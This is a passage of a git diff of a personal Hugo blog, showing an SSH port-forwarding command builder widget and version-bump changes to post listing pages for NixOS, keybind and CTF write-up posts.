padding: 0;
margin: 0;
font-family: monospace;
}
body {
background: oklch(29.3% 0.136 325.661);
font-size: 2rem;
}
input {
outline: none;
font-size: 2rem;
color: #eee;
border: none;
padding: .5rem;
background: oklch(29.3% 0.136 325.661);
&amp;:invalid {
background: oklch(40.8% 0.153 2.432);
}
}
.post-content &gt; div {
margin: 1rem auto;
label:not([for=direction]) {
padding: .5rem;
background: lab(78.5378% 39.3533 -32.9615);
color: oklch(29.3% 0.136 325.661);
}
}
.grid {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
grid-template-rows: repeat(2, minmax(0, 1fr));
grid-auto-flow: column;
justify-content: space-between;
align-items: center;
* {
text-align: center;
}
label[for=direction] {
user-select: none;
grid-row: -1 / 1;
color: #eee;
&amp;::after {
display: block;
content: '🡠';
}
}
input[type="checkbox"] {
opacity: 0;
position: absolute;
pointer-events: none;
}
&amp;:has(input:checked) {
label[for=direction]::after {
content: '🡢';
}
}
}
#remotehost {
width: 62rem;
}
#command {
background: oklch(45.2% 0.211 324.591);
margin-top: 1rem;
padding: 0.5rem;
color: #eee;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class="grid"&gt;
&lt;label for="localport"&gt;Local port&lt;/label&gt;
&lt;input id="localport" type="number" min="0" max="65535" step=1 value=8888&gt;
&lt;input type=checkbox id="direction"&gt;
&lt;label for="direction"&gt;Traffic direction&lt;/label&gt;
&lt;label for="remoteport"&gt;Remote port&lt;/label&gt;
&lt;input id="remoteport" type="number" min="0" max="65535" step=1 value=8888&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;label for="remotehost"&gt;connecting to&lt;/label&gt;
&lt;input id="remotehost" type="text" placeholder="user@remote.host"&gt;
&lt;div id='command'&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;script&gt;
const localPort = document.querySelector('#localport');
const remotePort = document.querySelector('#remoteport');
const remoteHost = document.querySelector('#remotehost');
const direction = document.querySelector('#direction');
const command = document.querySelector('#command');
function updateCommand() {
const localPortValue = localPort.value;
const remotePortValue = remotePort.value;
const directionString = direction.checked ? "R" : "L";
const remoteHostValue = remoteHost.value || remoteHost.placeholder;
command.textContent = `ssh -f -N -${directionString} ${localPortValue}:localhost:${remotePortValue} ${remoteHostValue}`;
}
localPort.addEventListener('input', updateCommand);
direction.addEventListener('change', updateCommand);
remotePort.addEventListener('input', updateCommand);
remoteHost.addEventListener('input', updateCommand);
updateCommand()
&lt;/script&gt;
&lt;/html&gt;</description></item><item><title/><link>https://lavafroth.is-a.dev/project_mana/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://lavafroth.is-a.dev/project_mana/</guid><description>&lt;div id="stage"&gt;
&lt;/div&gt;
&lt;style&gt;
canvas {

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
